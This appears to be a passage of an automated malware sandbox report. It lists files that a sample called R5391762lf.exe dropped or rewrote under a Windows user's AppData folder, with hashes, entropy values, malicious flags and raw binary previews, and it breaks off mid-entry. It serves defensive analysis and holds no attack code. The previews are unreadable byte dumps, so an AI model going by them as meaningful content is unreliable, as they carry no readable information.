SHA-512:	B862DC75783D8B8E60CA9AADE4F27108B58968F7178E638DA38B661E08A9C98FE4A259DB1B70AAAF1D83448E73D1BFA199A0F905A67938A0C1F5B831898AA0B5
Malicious:	true
Preview:	<?xml:.....Q1).>z<C.\|./..7..[0+.+Qs..>.^...+y.8...Qf.QLM...'..[J.x.).].t.c,..p...].........#.P.X...B.(..bubg...1.....d?.gF.&"....F...Z6.../.T.......$_...QSi..V.....4.....[.].P..RCv...U.-..g.d..(..O.........<ae!.s..AQ..........=.\.b.h.......A.v...xo.WC.4.:...&V.f.....q.r.Ct...v.$2]... Z5.$.".t..S...Uw.n.\..1p.=.;..x/....vq.E....\|(GT.j..~.....L.(s."6.>'.?.hZ.\|N.m.f.U.:..A..a..v..U.?......oy...........Vh.Z.c)..d<....Re....R....RHF....<...$...^.M....\|4U..?.......c.3<M.....MW...[...t..!.-.D..&o.U.f.....i4.A.C...........5....%...\...i.4F.q(...r.pt[?.-....d+..([...f..W......Q..Qbd.Z._.z.b.+....2TI...hp....~?....0..R......KG...>l...o<en........Q.X.E>.&.lk.B.S..z......>...K.Y..O..U....[w+;....#..bv^...Z.B.f...w...)..[...X\..9...........}5....]W......1..9..c.PJ./M.9Y. .J8.}]?....ZU....^...++.tU......n.v.=..M... %..}..U.=...G......[.....\@....9...-U...9.h*.MU.!...M.N...x.........Ym.M.}.....==....}.%uc....(...YHmc.4.R.K...$..s...dVH...<.v.

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9768716718372685
Encrypted:	false
SSDEEP:	192:W0QAwrNUZqbSNP17MZlxTYOGcuw7fWPJVrxki7SLgfffV7sMehNT2Q:WPruqSNP17y//GDCuPHGy+yqZQQ
MD5:	96FE4BEB3528478BF5007AD0B074A510
SHA1:	5231B01826C0512AFB6D4796A10EAB501472334C
SHA-256:	A2BA4CB73CEA7114BEF32CE0FD216C46ED9A765D5A735DCF4BE91B8CA7E113F4
SHA-512:	9B8B6FD6D2616488D96A5154C76B7F7D54103CD87F9527E50DF6B1CA56FD1B96FC3893CF9ECF2D89849510B7C8A9F53E8855C5C6CC8CB2405C5CAB9205EA1125
Malicious:	false
Preview:	...b..y....g.f..D..;Z. ^....$.......... ....K.B..X.A..L...^h6"..O..s<....b.-..>... ....2HA.=.....H2. ....N{.a..jp.w..G+.:..Y.Y.P..7."........Y.W1u..5.;....6..}.......TFi..r.....`.kH.H.....\|.....~4../R.L.D...5..P.w/l+.......+.++.?..C1wX.p..&.....0.5..../..}.h../.?Sog0.^+#..Qi..af)h........P...d.7.....v.B.72.Wj.g......qU[.......4....<t.........Pa.. Y..Q1(...b..vA.>jX.3\|..{.Q..z....X..>g>.....}B....@......6k.{$].#..d....@h..#..s.:...iLB.+XN..L.V..'.>g....8........i..6.+S...yG<.@..%....Ilm.....WI.m....NC.A.H.......kJ..Q....=........k....."?..{....u......9y......7H.8......o.&..3..\|.1_......"26$...$P.W.3...X.Q.k.,S...n7....T&....[........z>.>Z..(...xK....e.....8..T..r.R...^..h..ez...a-..y.6._i...`.T.X..o...?.{W..w.7a....q;H..r..5........m9M..+..n4..6...[....<.....5Sq.....%iow.MF......{e..s.?f....2........2....:.]...c...t.....vwnl......y*....CB..H.HS.....9s.JWWg.....C.3.k.....5..xW...M.GL.R.j).cp0.mfZ.....F....6."...z..V....;u.a..t

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V0100004.log

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	7.0961683693805755
Encrypted:	false
SSDEEP:	6144:DwsXwSpCCVeINiphaHerubBmDKkPDWNtlZwwxWf90lvIN7bBD4WsZfU1cXqAYWLt:DwKw/CVZNXHeyBKDPBD4ZZfU1Fn6
MD5:	78138F56040E180E84A680F78A6F7AD8
SHA1:	CC18DEF5A8A9E6DE70736A4E64A6BD3641975475
SHA-256:	1B7FCEF6DB70EFB76CC9C046859310CE9BABF778A2CA93EA6C3E9CB4FA7B9E70
SHA-512:	39DE7C90ECAB2F38F3FFB4BB3D64457C6AFD1B58A88B501B552E88E320C49E6E926A35762EFEA5639A62FABA1B38050CB1494F1688A9901992BC3F221F41AC3A
Malicious:	false
Preview:	<.........^..`....T..8. .....Swnt.t.N&...p.v.^..h.Z..>.QW..L1..l...o.b.....e../Vq.;.U.._...0.._tg...Y.8...Zh.....(.7........O..!F.z.......D..[M..6..s..d].%...`o..d9{..$\+\|.y....A.H.......VS._.E.....q..}g).\..B.]...&j9..L.4.5.M.a9X...D....m.........1... ...R=~...ah\|.........D1.[....>.@.Gu.Dn.a3.....7......=_$.E]...O..f2...(.w.(.Cus..e...H..f.hh...%.s<.uZ..H...?...S...?.l..Tv.t...._......3...I.@...q%.'q`..f"brM.2..........Q+u.O^yq./.........o..(.D..V.:......3...HR.@...>...jz.b...$.....w...........O.....<gA...w6..\&.~]!.....d.L...%.C.....h.N[^&......i....O.......J.5'l.g3.,..t.....)..C..C..%..G...aVj.....F.z.............gL.k.cx....X....RzN.....+.:)..@l$.{/.../..*F...H.2......d......z.GJ..,.:)....5E.!.{r8l..-.7^K.....].~. D.\|)......p..$."....M.L..i.p.@./...i..../.d.,......L.s..!................;W.3......j.....\|p......4CWV....Ymw-.Z....!.K.';......`.0E...!.q...S........0....A..1.3._.......zI..H.'.N..o._...`.%i.....1...4.....f.y..........

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01res00001.jrs

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208781974686741
Encrypted:	false
SSDEEP:	3072:xaiXL7r5DPTF5E28AqT1+bw/nOImhlfB7HaQjCjR1KZ6ML:0ij5DZ5E28AM1+cPOhnBDa9R1KL
MD5:	B743502918B202A8262FBA4A694ACCAA
SHA1:	FC7490532597EC04E131670CB0E2D1D99F40C345
SHA-256:	E86D10020B8028B822BEC2CE044254BF407555F389866DD4327A7EDE660F4EF6
SHA-512:	341C28DA0F039087D62C77E3F86D45A61DCF1B19BBABE9244A0F00D1532730C29D928E6EE02D0758ADAC8E2699855432466ADB01D36562232CCBE3615090A9FE
Malicious:	false
Preview:	.................F.._.......R5....1i..]'.`.6A.K..$.:.N.T/....1...p.)u{i.x.Y.7U...D...q~dYwb#...E ..z..4.z.vc...p8..1.........6 .8..v.1..U.n...}......w<2.q.c....E..A.)..'+).W....$....9u..}...E.......i....C......k3..E,.....qHn...N.c......4K.7d.\...v.).K...oh.......;..r..8'..sv..@;..08.2......3..UT..`..r.....VY..R..#\-..U.K&....u.5.-]...B".Y>.....`.&^...J.3,...@..7...}.y......63...e..u..Y.?...J..T.......T......=gz20..h.^./.!.....W.AR.c.7.2x.....9.....uC.<.......V.,..S5....a.d..F_`ns.,.....Hn.yU#j.....B$>....8. '3.c..-_...0..............]..g....I...a..t"....@...0...".<B..L.!....8...D.0@i{...L.Q!B.2C.\q..lJ1m-}...S@Y9.. /YEw..G&...l.Uh...RG.S.y}U..1aO..:p...[%DC.".Zc.5P..>g...A.........k...-f...l..._R... ..$w.$y.'..b..z.+S...j@i...D@.qeAE......0...+.6-..G..B.&.<Q`n.0..p .v.V........V`x7..6L.a].7..E......E..J..)ag....1..s.-5...<!.......sF...........n.Fl.F..g..pT...>.J.m....X...w...C........K>.40$...:..t.#.\|x5)......ec9..\#.......Vk..M.

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01res00002.jrs

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2076065628539707
Encrypted:	false
SSDEEP:	6144:A2R2WhdfQaybfA+QXIf8aY+ioltjtBy9i:AEXhPyjWXIEaPPyo
MD5:	B9C8738B0EB0B2163EC022B31FB14FD0
SHA1:	CA0D7F5BA9DE6CA05F7FC9129585F038D5E48071
SHA-256:	D16C978794DFA45C85459817244A10DF10671EFA33E5A63F10204778E0910BDC
SHA-512:	4A80572CD2E39B5E54FE49EA3AB7264F1C936655589A2A9311AF8F342191759D11C780FD3E4DB4779DBE3E5063AFF3E2B02AE3411E1283D7648EA7721D58A590
Malicious:	false
Preview:	........<.6)..X@s..r...e.P.7.77(.-...X8.i...m...:....!.....+...... ....eg.p ..$i1?....x.a...l.@....7a..e..B#f.!H.0......P.pl8...>...r..Z.. ../PR.)A...^.:..L.yw[.p.....2.8....9B...nh9......#C$)km...BV0....38.{...Td.(...m\|.m.0.Q.(w.zA...;...../u.._..Uz.l.^Q}..{...s...`.~].....s.A.`~..i.r..6$.s.1.d.ff.&.>.>.F..U?....8...u. .u....y...CM.....F.H....b>....^. A.. .n.HIBo..<.>..x.I.p..Q...:............7=..8........-...H.T..\|...Q.."sHr....E...a"........4.W...].z?v...,...7...G.....b.2.a...OL..Jq..yw.ya.5h.j.D..e%x.5(....2.......WsR%.L..ax....)..Q..4j..p..BRQ.X.N..@S..C.. ....x...g.Qs....}...5...Hg......u.(x..zC3..C#....5..l/?r0'..G.c.gi2'..... ...2.K.....d5.7{...P2;..a.=og..5.0.....yvm.)..}BPkl..\5..0:.BO....xE@.3'..1......P/...4..g.."]eT.~0...T.K.K.9....6...l..$cDB e.8Djh.gp.([b.....S\..j......-..!.._.d..K.4..S..z.-3.V.l6w\.6T..('..".Uzj.c)...,<..LP.[V.?L....B...O.<......w..Sm>..Y.9....+$..E...c'\..d3@...P....kG.. .(i......L.=t.i..k.N.g;..{.~.......

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01tmp.log

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.074126990572823
Encrypted:	false
SSDEEP:	6144:hG9xoy2UDJu0z5+TfXOt6SBmYA+tJxn63q3:ovDw65e6NPA+tz6C
MD5:	A477C25F1CA969B05E31F6D9C4CB6983
SHA1:	37D2AE47FE57CF9BF85AF4EA97FB3E047BBC3818
SHA-256:	4780E2E5905D73549756805AA41C62F581B2EB597775B2E83DA99184782810AE
SHA-512:	B29523BDFEC9311C2AE1801CA92F56F54E60DFAAB42B95441C8A85AFBB266A324BA7270D14E55B5ADAC4698C146D850A526639B1A84537FE8B00438C154BD125
Malicious:	false
Preview:	...J. .t)..........hR.#7....:.F......[....,..F9...b..@JTS...i../..<.}....y.....K..R0....Ds..,...6Z..X@[...^"'.0.....9.....M^W..~...)..^@.F..J.+E_.....$j...A.A.r.O.e].w... 1f/H5M...B..<..HE.K.h9......."H..Gc.Y.M..i............ 1.\|&.>.`...._d.(...].........L./.........m\......Q`...x;..s.Q.g.".7...X..S.^xT<.y~....N....c......K...xP.L$I'.L.....<.$y^.zE..}.......j....>....k..J.Z..&=k.'.qE.I`I.#...._...jr.N\|.T..i1......Eg<.....yP...s...'?.(O..@E.A.E..,....WN..`.W$$#..(.e..eH(....i....(.9...h'j..t}Y..o....+\...5.\|..r..]....].q ....XG4rOQ..L@..."..._XU../.G.G.4^.Y..8i.(....n=Q...,*...u.t.<..._..TG(~%C........l1]..9....0...6......6...^..(I..h$mn.M.[.Z4..;.<.B.Y.K.....H.u5..=.....P!..$5..>t.;....nd..1C8s..........?b/LP.z...Y].v...Oy.......,..`..h.m.BAAZ]6....h...{................../..U................l..H$?.....U.....:.=\|.O..!]6.O.2..SS.G..aL;.8..J..\e.7.....V{AR.^...\a.[Q...7-\|..KdL....5o..hK...9...i..%G.q......j..\|...j..FD.l..)e.. &.Z.V

C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.992437573905462
Encrypted:	true
SSDEEP:	384:LhhRHNnOwofek6B6HuHW8x9+Fs1rLCyk2pIw/MglpnVRpKiMpe6pNOD3Q:9h9NBMHu71rLCN2uwkeHRpapZpNP
MD5:	4437E79A3640D132E15C0ED2716C0B56
SHA1:	9C4995DE8437E3D1A22A26214A08D8637A0AA474
SHA-256:	5E907504327179D5602A84AE4B711FC915B0B88AAFAB3EBBF7BE880F372746FA
SHA-512:	4F3FC095EAF24124B3CEE4DA00CADE4D4D6D58532F7D9E75E1E3F2AD9A31458A3DC8F06902475F8E770EFF6AEEC1CBDB2A5DB1D4B2E1A9B2B5E584900C514CD4
Malicious:	true
Preview:	......7..i.\|8k..0..O...o.h[...9.@..C....._...H.r..b..s....;...G)......i..3.0.?.2..-....8.2.B:o.......xq .gm...`.sK..<.}Z...>d.7.C..&....(z..\.@.~o...k.j<...{g..)...N.........n}6..O.d...L...rL....-......cp.GP..l.....5P$..7;..Ok.."&q.l......b...djl.$.A..Ej.+.~r:.O.%M...3."j.......#a.f%.]....../cW=....R!....U.r&..S...1=.[.%^.b..:.kq+....G.F...c.JdQ.7..G.Y........tXMaO.Gj.a.ak......5..v$U.p.uI.,..7wE.i..qZ$vc.W.8.M..[....5..X.%o_x.YT..e.0.[..L..s.l...qxYEb..qE.~SY"pq....+.8..=x...e....i..#..$B..+(u.....5..M...o[g0.e.N...-DR1....1..m#.I/>..BI.....P.c..O......!._d..U...'{s.2..ta~.s..gl<.....X....6.W.9V..Fu.j.)....H:...........[.P..,...cP\|}...o:.[....p.c.....p....g..#lJ.w.P-..547..o......*...2.9)Vgc.$.n..o(...NgE....`>...b.q...:....hd.....{.j..#]O.....&.t.]......:E..y.U......c+4Fg...v.E5.E.q..l...O...s..a.\..xN^}.j/T......\|.......5.....=.5..HD@...P.....l.O......$gE(B$W\|.T......."..6.U./a...c.p....\<(.R...k$W...r.....f.C.{.\|.<...-@..z.q."."..

C:\Users\user\AppData\Local\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97812759939218
Encrypted:	false
SSDEEP:	192:uNCWkKX7OHRhUAfmffgTcev4NG/jboVDbnE+PEOIpYC8f4f4v3Q:u/7OHTeoTcg4c/jbSn/pfvvQ
MD5:	3F3BE9F2DA2BE8D88240CB804EE15E42
SHA1:	9917112D73CBECD4B1B3EB848F6BF6EB353407A2
SHA-256:	3F7B9B94228720DA8B2042A7B09DA1D55C8DEEA11107640612B7B2C864A136BE
SHA-512:	BC4B1711A70D134025BCC3F358BA050C51572A85B030CB6E8CAFADF8DA3A334C737879A3B480A51D35DCC90939417906FFF976118C549001F0F53BBCCAB02342
Malicious:	false
Preview:	regf.._&A..v..4..q...Xy...V...S.....N\.L..;.%X;.\|.R.O\|......f.A....F..27...E.w.....E..........u1 Y..X..Q.g.u7[.l...}.].._...6..O..z...Rj.N...a..2.....3y7..D.y.r..wt....m...............p?.,,....m...y".yN.F..h..fyj6..(.$o>.D.....U.pk..<..P..Vg......^FC'"Py..Z......GF].J..rM..A..D)....e.c...VT.P0...J.[...$.\|3..E.G....~....r..4..c.\|.0...n..l..v...._e..R....("e...X....... .x.fE._%B.x+..._;.p.......Qh.7.LT.Y]..B..M.N8.:x.....m.$c8e..x....../...........;Ue..N.e....e..XB~.D....a.U..D..a.Ms.kr..$....N..Q...2b.S......v..6k..._..d...]-q..?..>.9.Pm,..9..eDj*...8...=...?.j...dh...F".N#.J.f;.e.....#n.."EYd..b._-.4.+...)...V%dn...8.y$..A.....R+r......7..J.A...K...uI..e3....1..^..P..B..:.......?.{...x..h.gr..^.1....Y...^..s...g..=.Z.c.?E..J;..]..,.-..l....0D...U.(b..&..... ...0..9......%9.RH1.h.......a..[.1..1...4..._..R...02o..EK..b{:J...A.............{4o5.u{.W&....8.....<....5.g:.`e.K.:.eQ......?..8#.....S.L.Ok$.\|..0...G.K...<9:.J..+..\.r..hM...

C:\Users\user\AppData\Local\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978519758748294
Encrypted:	false
SSDEEP:	192:EoQrNbogaarq7ZUBnbZV46xHzH8T4v7tFsXlOjtYkvXQ:EoQrNOaW708QTcT4pFEgZYkvXQ
MD5:	BAF99355BB1FB3E51899B4BF62DA527E
SHA1:	C24022CF85F6100F61A505BFAE32857AD7FC3676
SHA-256:	AAE828FD46A3B36B10C9E163F313D0B770381A7852062F7C7BDA4AB8462C2FEA
SHA-512:	5E654B4D51F5B260E3CA3E22DF99F59AF038DABADEFB7CF9FCF20384E473696A92E46C2D66363590C7597A6F36A4E102DB91D040E4F22520F30E27545A0614B3
Malicious:	false
Preview:	regf....!..8....3..5..B....^.. ..."s~.....1....z%..T...sY.........o..k.}...s..sxG...j..x<.......`L..eQq{.d.A..g.f......M.iK;.iw..U..>..U.....P..T/D.-...f.K....i..B.<k.M'....\|.&...%.].d.......o/...O#..r#...'.}0.k!...1.......U.n7.V.1.5V....{1..=.........V...B.....I...C..!.../S.=.c'....\|........m.x.N.cD..@'.0`!..=.P.4.SZ....MaXF.q..{%..S,....y../T...I\|.V$./..o.;i...Z...&.P...z}fq..S.Te.C,k1...o.-.V...B.z!?.y.S"..P....I.....w...Uq.#.G...i..\...;...\|.G.;../..1......+hS.C.v`...M...S...+C..w..C.Ek.W..8...t..i.R........G.(.\|......j.vG.}.Po....).N.+...zd.;=V-..A....l.'r..U...J.o...z.N...y"S...O..5...x.Q[..\|.....p...j..U..!....>.".._....Jg...l.q{...U.)..v..S.V.O.o......3L.0.L.\|O.UJ......_....Q..h....B.....%....#N.0..s..O_.Z......X....4h...<...1...w%....../.......a...v.6.$`p.$3f.%..U...T...G...Q....p.\|..N..D..ld.....f.....nD.;@.....\x\|...\|I.f.V.j6...$X..i........}.K..=."........?..`.M...!..@.q.Y.l...^.~ .............t..Y.l....2,.c

C:\Users\user\AppData\Local\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976570463602185
Encrypted:	false
SSDEEP:	192:1LZzT9YcXuRVoZeimy1VQtpR6IsjGGCT20BaZQvtpMLD9Wuxh/PiQ:1LZ3/Mim0e3ujGzVaen1y/PiQ
MD5:	A14CCF35A3573F86C1409EF2FFA9DCE3
SHA1:	73A18F9C358D1056FC05D60922B8373643680A27
SHA-256:	462216807F97C20B2EF56FE170433F28A0FE0C17CA4275F188059CBA25FC6F58
SHA-512:	8F73DEFAE4BDD6AF771F5424D8D809BEF2F4449FE111C24A4B95382099ED472EB59EC06DCDAF9498FC10E4012FD25F852BC9B0CF86D2BDE1E6C1680A3B2419ED
Malicious:	false
Preview:	regf.......V..............Z.q...'6=\|...".......^?.2t'..\.I..!...k....)....u.._~...W.j.^W.......T~...lx#dY..^..9.4.c;..h......O8...'J%..B..........\|W..f.pL.a.o{.....r...qT....i..Xy..Sx.d.41}. ...o.....O..v.....7....~.V)B\|.T..1d.N..\M[W.\..U@Ngk..[......0....,.-%.@..J.mM.y1..\...".p.aQ...c.\.8..(.FTN.l..T.'..le.W,Z ....\e.....J`.$.G.&..#.bp.@...+.0...c.vs.....Es..M..'.Ad..}P.#f.T.m................V[.......h......e..-.wnH....L..Q........9.....6.K.j.7.)..q.4w.7..&....&.Ysw8.....&o+.$k...DM......6.ew.Q.%x...u.9..qB..._...{....M.s.^...H.u.E^.~:..n_e....u....f.....F.(...CW."w.j>..#Hv....Yh..l....\m...._R...#...:..q..I;....kMh.B...."X`l@.R...a........<.I.....$f.7.6.=3.t..f...!.{..+..W.5II.....\|..M.R.zK..m...;...<..2Kh...~q..x...........!s.!..}@..)7..x$R..\.;H.........$.................b.......(.L..1}..&..I....}l....)s,.e.PJc.>..j,....G.5.{.Q.!.j+.g]yg......;..9.../.c...g.H.%L..X[...1.\|.E&.O......<....s.j.b]J@.:m..v[\|.7..z.&.RMU}

C:\Users\user\AppData\Local\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979268429063643
Encrypted:	false
SSDEEP:	192:foi3wB832MfV5y1LTihFB8gSPK6yOAK7Zc5xC5O0EqcO09O6oQ:wOVLSTih78XK6Rc2Y3pO046oQ
MD5:	9991C6613FB1BE661E112BAAC6A3B956
SHA1:	9CBDC362646E9F363ABE939200DBAAA785B43F9C
SHA-256:	6B50AA2BC518901FFAB816C0FE3EBCC5BE5FC469A67627C6927D43F90C448B6A
SHA-512:	13AEBC95430858AF575B69251D3B55F9A62E8CE03D6464E7E4E2995D25CBB7905C59ECEF9C09EF7F72F73C63986C0E70243E24EBE27D15C67FE858D813059EAA
Malicious:	false
Preview:	regf.[.b.U.?..#.R..`#]-.....w...q[..(.E9._-.iSV........]./..mk....]/4....x.>Q.>9.+.jZ...w...5&E..n ../.v.Y.....#.....t..+."..+._(.(..Ym.P.V/Y.u...(}R.c/..hc.%...v.}....R..+......62.....&..8q9..5.{......7i.G.3?...#."..r..x..\.Aj...g.@...m.z..~.B.\1.c.wZ......4..;!.G;...zQ_..'.< .+..X7.":........L..W......o...3.B........b..nK.....(..Xcf.<.P.:.zw..u_"..[..F....s.D...6.........3.D.t........i\`...j.R..N...l...&...N..w...Vg..OwZ..$q.....g....6.......e.e0%...n.h..P.$....)..'.o...V.....y.ez.^H....9...U.v...Bw.>.U.....#...q.w....=.....z.~t....NR;&.....=5.qz.l1....I..Lq..... y.d.?FZ.Y..q..D:J_%L....D.n@..+?i&.6.zT..0...r`.E.~CZZx...'..D.x....7)...>.w%r....N.`...k6....D...y.6?.q;mW..y^.H....C..[....n_.cVK3..GI..-.....Yx..M.......z9.{-S..P.I.....q.WC2.$..`.<1(.x....l..0.Sm{6PbF..QR.Rs..r......Kjo..m.4v,.>...:z&..o.=..[Y...J..B.SS..u.......i.N..j~........u......\.aP.:...nZ.eT.p%P.+GJ..>.].W ..F..[.'.T......z.`=.c.t..}f....s...JKGe..nQ...-..+B.\|.O

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976264634906751
Encrypted:	false
SSDEEP:	192:PybA5GykGipQG9eIfeXPqt6m4sNm4w0kjz5rAhIQd3Q:Pt5GZQs7Ht6l5n0kjVPQd3Q
MD5:	7FA47CCDC042AB7691C8978ED938C3CB
SHA1:	D0C14863ADEF87AC8C3024074337E125BDD7F782
SHA-256:	D053A96E5D22DAC77A3AD25CC0C22EB70DFFA5C757BCCE0978339C0100106A3E
SHA-512:	D394397E715ECE89E5BD275CE9E030D98D1671CCFB5923DBD0B7FF15BFB52A3E2114BD201B57397CD3D335B166A9AA25FC658A9680344E5BD5E526DEA648C5FA
Malicious:	false
Preview:	regf..A9u.d..(....y"6C..#.o.......f....1F.w...GY/.....@.....'k..R..../...gcaX..\|^...Wl...\|..t..M.Ac.[:uk..q...%..6.[..@.z...\s1...+.}!.-F......9.(.sl....P..kF........).....m.,.7...a.>.{..n.......X.x!b..)c?kS.Z..`L].-.R ..Y...;....(7.S./.a.(...l.#...}~....b.?Nb<..[............\]p..K.<V..6. '.@4........^.0.e...tO&.^&.=[\|.........z.w......@..#..._..M.n.w.y.......A`.]....lw.9R).vg..x.I./r.#n3B@~d&X.Q...'...i}.0u....E..\|..........j.(..JI....M.{G^W...'8+..J.....a`.c.e..}W....\|Y..\|G..X..>.u.V\|"%V..+.).7F..j..T....X9..ZE.>...M.).....ji.wLo....o.....'......y.m05.;3...0H.u ....N..Nw.2...}....Y@lL.A....5.jU.........=....Tt....y"r...L..........v.g.r...8.....i.N.YO.A=7..n)...%....w.e..A.R..Su...).% .H...x...4se.b.ka..#...3......i._..[?..D.e.2...qhz....AE...\|..6.._.. ...a.Sa...S:..f.1.....jS....L..iE.....T..._5&....nX...v$.~.v..p.8..H..+...L.%..s.....p."..pJ..m..\.t....jip:.}.,..A...:K9....A..x...&3y!.r?CM%./...j.P....(.~.........."Oo.A.4C..:w.'.....9..A

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977119348870492
Encrypted:	false
SSDEEP:	192:+6H5YKt95qoONmhzA24234KPLdpNEPL+XVMkVQ:r5Yo5qoONcA2jxXoqXVDQ
MD5:	C1DC2B3575657F9E0AE642910565A4EC
SHA1:	C1B94DE0DE91F4F3DBE545DD14657104D257320E
SHA-256:	2E5B5043E20B5EBAA7EB04291B784D8C9DBEE44D846BC02D12BDA1BEA255DD2A
SHA-512:	86F499AE2712B79E70A166E122F9A7E3580B47784A8B38655F736B44905BB005F4E886F962E847E32F59486C354E57BF05E4A119FF9BAACB903E4224B14FD340
Malicious:	false
Preview:	regf..6.C..;A..q...{...).........a8_..in.j.2......".n.ke..82hI.....9;.0}._...e..z.`....-6.`s...@..x.K4..Hc...D.Z.>...... ...5..7.....O.......9...NC.Lvk.,.M5o9%,.?...&..> .1..p.3.a.....d...$.u...J7P...w..j2.ru.A1L2........3."{Rm...b".{.l.93.&..$.HM....T..[.f..x\....o....K...s..eo.I@`..?..0.o.<8o.XY.%.......O.;.J.....A~.Y...P......S.s\|......."...2a.....&}+.}....p.s.8.....S3'W........Y^..["...`......=.?a.l..bR.&..4..[..7.h.Y. ...#.B...:...`.......8...m.%)v...9eZ...J...7.S..(4.{f$......5....n0.....G.-..F..j0...%F.K.7.T.4:>........S.'.........Q.7<...\.96..U/L.O...i.C2..Y..#^.c./f..su.......\.7-.Z9....$!.9..\...2E.@.JJ(...8..N..C9...~....%.B.:x.m5...Y...........9.].J.6b.5......U'..:...m..#........S.d.M....EZ.....}l.....a.^1.t%..i[..~.\.....T0../2.V....X.%c.....z.o\|Y..3A`.......l.'.F{.xDe..!8;.! .M.,<j.c...u..5...3..J...H}./..@8...wi;.'..I..p..e!.q..3.ms.....+....$..{.Ajy6.Q.~]F..`..;.1..F.4Q.8....v.>}. .Ci...:..N.81&W.@..~.....q1..P^......\|.gZ

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980177051101344
Encrypted:	false
SSDEEP:	192:EZNwyZcGphmHNowb3p/5hvSocB9yMmNOHVQ:6JphmH53pbvVOlHVQ
MD5:	B67CC261427F60B9E7EE8CD0E71EF36F
SHA1:	546136A976047A2ED221CB436057D00B7F50F476
SHA-256:	92D339DE263245384F034A2EB7107B8D7AB5F5C2BA2CF869DD8002F9D05EFFBB
SHA-512:	1BF4FCACF19760AFBE5E7DAE1CCA2D5D8A60E01C62BEC05DB61CE204A5A574A069F2B75A582E175D032161920F22C9219ADCAC0F7379D4F98536163F82BEF061
Malicious:	false
Preview:	regf..s..;B2..])......Q.L..H....K!.e-.2.0.E..Y.^?M..p....FU-dE\%M..=[..?......E...H...K&/Q....&.&.e....{....H.q}...{...n...=.v.#..&.[.l.n...A.Y...]...E2zk3X.R2C....K......~.o..CJ.jk..R.9u^....:...2~..6..s...n.xT.q5U......@'qr..Cl.v....:K.c5.u.q.k`Pk.....{...8~u....5C;.<n\..!..7.3.H.!..s`....?......<.q. .......{.c...;.d..8..A.......je.#T.d[.Z..}.i..X.o.......~.%.!C...AH.gf.q...B.Q....X.....v...m..C.#qM..."...v.9d%.W.w.!I..;.`>..Q>........D....kZ..oB=.7...8^.$...&VQ^l......_.&..?T.....1.......3..7..uq...^..>WKY...y.5...T..kQ.p...=..`......;..?..&.1J;.r......+.CJ.."B..Tr.......s......W.?....OZ...1.K.A#..j.p)......H........T...QZ....;../.dap...V...;..u.h,.*..B.:T....x.0.....$.V...0.o.=.1~.6........j7.k...H+...xv.v.H.X.....w..:p..#\^H!....e...K.]%..T.\|u:&M...8.#ni...I.z.t.Hm.GO..........xb.@.....Z.np.Y."...BA.er..<O.l..9....=....g^.]3..3.i`....:.....X....v..yw..z......K.m.q...Y..c.#0.W.O.3.G.]ooM{:4@......IT.....g6.....tW...-.C.if

C:\Users\user\AppData\Local\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977058247977933
Encrypted:	false
SSDEEP:	192:qKljWKUQdawRa7CouHRbRnv5aer+Ps/hxJ994qNWIFRz/KcBXePY5FQ:qWjWKj5TdVnv5x+PWvfFRz/jXD5FQ
MD5:	B3AD27CC0CA3DB5C4B805619270BE878
SHA1:	DF4872956527805BFE8E33589A8AF04548F5E62E
SHA-256:	5647191D4507F7D59344ADBADE8EDC7D724B809F56DC9B8F6B8EA08F01B7F19B
